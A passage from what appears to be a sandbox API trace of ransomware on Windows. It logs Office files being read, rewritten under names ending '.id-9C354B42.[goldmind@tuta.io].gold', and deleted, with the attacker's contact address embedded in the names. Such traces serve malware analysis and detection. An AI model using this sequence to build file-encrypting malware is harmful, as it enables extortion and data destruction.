Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll")) returned 0x20 [0088.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0088.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0088.990] lstrlenW (lpString=".doc") returned 4 [0088.990] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0088.990] lstrlenW (lpString=".docx") returned 5 [0088.990] lstrcmpiW (lpString1=".docx", lpString2="G.DLL") returned -1 [0088.990] lstrlenW (lpString=".pdf") returned 4 [0088.990] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0088.990] lstrlenW (lpString=".xls") returned 4 [0088.990] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0088.990] lstrlenW (lpString=".xlsx") returned 5 [0088.990] lstrcmpiW (lpString1=".xlsx", lpString2="G.DLL") returned -1 [0088.990] lstrlenW (lpString=".ppt") returned 4 [0088.990] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0088.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0088.990] lstrlenW (lpString=".zip") returned 4 [0088.990] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0088.990] lstrlenW (lpString=".rar") returned 4 [0088.990] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0088.990] lstrlenW (lpString=".bz2") returned 4 [0088.990] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0088.990] lstrlenW (lpString=".7z") returned 3 [0088.990] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0088.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0088.990] lstrlenW (lpString=".dbf") returned 4 [0088.990] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0088.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0088.990] lstrlenW (lpString=".1cd") returned 4 [0088.990] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0088.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0088.990] lstrlenW (lpString=".jpg") returned 4 [0088.990] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0088.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0088.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0088.990] lstrlenW (lpString=".doc") returned 4 [0088.990] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0088.990] lstrlenW (lpString=".docx") returned 5 [0088.990] lstrcmpiW (lpString1=".docx", lpString2="G.DLL") returned -1 [0088.990] lstrlenW (lpString=".pdf") returned 4 [0088.990] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0088.990] lstrlenW (lpString=".xls") returned 4 [0088.990] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0088.990] lstrlenW (lpString=".xlsx") returned 5 [0088.990] lstrcmpiW (lpString1=".xlsx", lpString2="G.DLL") returned -1 [0088.990] lstrlenW (lpString=".ppt") returned 4 [0088.990] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0088.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0088.990] lstrlenW (lpString=".zip") returned 4 [0088.990] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0088.990] lstrlenW (lpString=".rar") returned 4 [0088.990] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0088.991] lstrlenW (lpString=".bz2") returned 4 [0088.991] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0088.991] lstrlenW (lpString=".7z") returned 3 [0088.991] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0088.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0088.991] lstrlenW (lpString=".dbf") returned 4 [0088.991] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0088.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0088.991] lstrlenW (lpString=".1cd") returned 4 [0088.991] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0088.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0088.991] lstrlenW (lpString=".jpg") returned 4 [0088.991] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0088.991] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0088.991] lstrlenW (lpString="OSETUPUI.DLL") returned 12 [0088.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.992] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=191872) returned 1 [0088.992] CloseHandle (hObject=0x38c) returned 1 [0088.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll")) returned 0x20 [0088.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0088.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0088.992] lstrlenW (lpString=".doc") returned 4 [0088.992] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0088.992] lstrlenW (lpString=".docx") returned 5 [0088.992] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0088.992] lstrlenW (lpString=".pdf") returned 4 [0088.992] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0088.992] lstrlenW (lpString=".xls") returned 4 [0088.992] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0088.992] lstrlenW (lpString=".xlsx") returned 5 [0088.992] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0088.992] lstrlenW (lpString=".ppt") returned 4 [0088.992] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0088.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0088.992] lstrlenW (lpString=".zip") returned 4 [0088.992] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0088.992] lstrlenW (lpString=".rar") returned 4 [0088.992] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0088.992] lstrlenW (lpString=".bz2") returned 4 [0088.992] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0088.992] lstrlenW (lpString=".7z") returned 3 [0088.992] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0088.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL") returned 105 [0088.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.895] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0090.373] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.373] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.489] GetLastError () returned 0x0 [0090.489] ReadFile (in: hFile=0x19c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x1cd8, lpOverlapped=0x0) returned 1 [0090.531] WriteFile (in: hFile=0x398, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x1ce0, lpOverlapped=0x0) returned 1 [0090.531] ReadFile (in: hFile=0x19c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.531] WriteFile (in: hFile=0x398, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xea, lpOverlapped=0x0) returned 1 [0090.532] SetEndOfFile (hFile=0x398) returned 1 [0090.532] CloseHandle (hObject=0x398) returned 1 [0090.532] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.532] SetEndOfFile (hFile=0x19c) returned 1 [0090.534] CloseHandle (hObject=0x19c) returned 1 [0090.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0090.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0090.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0090.596] lstrlenW (lpString=".doc") returned 4 [0090.596] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.596] lstrlenW (lpString=".docx") returned 5 [0090.596] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.596] lstrlenW (lpString=".pdf") returned 4 [0090.596] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.596] lstrlenW (lpString=".xls") returned 4 [0090.596] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.596] lstrlenW (lpString=".xlsx") returned 5 [0090.596] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.596] lstrlenW (lpString=".ppt") returned 4 [0090.596] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0090.596] lstrlenW (lpString=".zip") returned 4 [0090.596] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.596] lstrlenW (lpString=".rar") returned 4 [0090.596] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.596] lstrlenW (lpString=".bz2") returned 4 [0090.596] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.596] lstrlenW (lpString=".7z") returned 3 [0090.596] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0090.596] lstrlenW (lpString=".dbf") returned 4 [0090.596] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0090.596] lstrlenW (lpString=".1cd") returned 4 [0090.596] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0090.596] lstrlenW (lpString=".jpg") returned 4 [0090.596] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0090.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0090.597] lstrlenW (lpString=".doc") returned 4 [0090.597] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.597] lstrlenW (lpString=".docx") returned 5 [0090.597] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.597] lstrlenW (lpString=".pdf") returned 4 [0090.597] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.597] lstrlenW (lpString=".xls") returned 4 [0090.597] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.597] lstrlenW (lpString=".xlsx") returned 5 [0090.597] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.597] lstrlenW (lpString=".ppt") returned 4 [0090.597] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0090.597] lstrlenW (lpString=".zip") returned 4 [0090.597] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.597] lstrlenW (lpString=".rar") returned 4 [0090.597] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.597] lstrlenW (lpString=".bz2") returned 4 [0090.597] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.597] lstrlenW (lpString=".7z") returned 3 [0090.597] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0090.597] lstrlenW (lpString=".dbf") returned 4 [0090.597] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0090.597] lstrlenW (lpString=".1cd") returned 4 [0090.597] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0090.597] lstrlenW (lpString=".jpg") returned 4 [0090.597] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.597] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0090.597] lstrlenW (lpString="EXPLR_01.MID") returned 12 [0090.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.598] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=10562) returned 1 [0090.598] CloseHandle (hObject=0x39c) returned 1 [0090.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 0x20 [0090.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.598] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.598] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0090.599] GetLastError () returned 0x0 [0090.599] ReadFile (in: hFile=0x39c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x2942, lpOverlapped=0x0) returned 1 [0090.607] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x2950, lpOverlapped=0x0) returned 1 [0090.608] ReadFile (in: hFile=0x39c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.608] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.608] SetEndOfFile (hFile=0x3a0) returned 1 [0090.616] CloseHandle (hObject=0x3a0) returned 1 [0090.616] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.616] SetEndOfFile (hFile=0x39c) returned 1 [0090.618] CloseHandle (hObject=0x39c) returned 1 [0090.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0090.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0090.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0090.642] lstrlenW (lpString=".doc") returned 4 [0090.642] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.642] lstrlenW (lpString=".docx") returned 5 [0090.642] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.642] lstrlenW (lpString=".pdf") returned 4 [0090.642] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.642] lstrlenW (lpString=".xls") returned 4 [0090.642] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.642] lstrlenW (lpString=".xlsx") returned 5 [0090.642] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.642] lstrlenW (lpString=".ppt") returned 4 [0090.642] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0090.642] lstrlenW (lpString=".zip") returned 4 [0090.642] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.642] lstrlenW (lpString=".rar") returned 4 [0090.642] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.642] lstrlenW (lpString=".bz2") returned 4 [0090.642] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.642] lstrlenW (lpString=".7z") returned 3 [0090.642] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0090.642] lstrlenW (lpString=".dbf") returned 4 [0090.643] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0090.643] lstrlenW (lpString=".1cd") returned 4 [0090.643] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0090.643] lstrlenW (lpString=".jpg") returned 4 [0090.643] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0090.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0090.643] lstrlenW (lpString=".doc") returned 4 [0090.643] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.643] lstrlenW (lpString=".docx") returned 5 [0090.643] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.643] lstrlenW (lpString=".pdf") returned 4 [0090.643] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.643] lstrlenW (lpString=".xls") returned 4 [0090.643] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.643] lstrlenW (lpString=".xlsx") returned 5 [0090.643] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.643] lstrlenW (lpString=".ppt") returned 4 [0090.643] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0090.643] lstrlenW (lpString=".zip") returned 4 [0090.643] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.643] lstrlenW (lpString=".rar") returned 4 [0090.643] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.643] lstrlenW (lpString=".bz2") returned 4 [0090.643] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.643] lstrlenW (lpString=".7z") returned 3 [0090.643] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0090.643] lstrlenW (lpString=".dbf") returned 4 [0090.643] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0090.643] lstrlenW (lpString=".1cd") returned 4 [0090.643] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0090.643] lstrlenW (lpString=".jpg") returned 4 [0090.643] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.643] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0090.643] lstrlenW (lpString="FINCL_01.MID") returned 12 [0090.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.656] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=12981) returned 1 [0090.656] CloseHandle (hObject=0x39c) returned 1 [0090.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 0x20 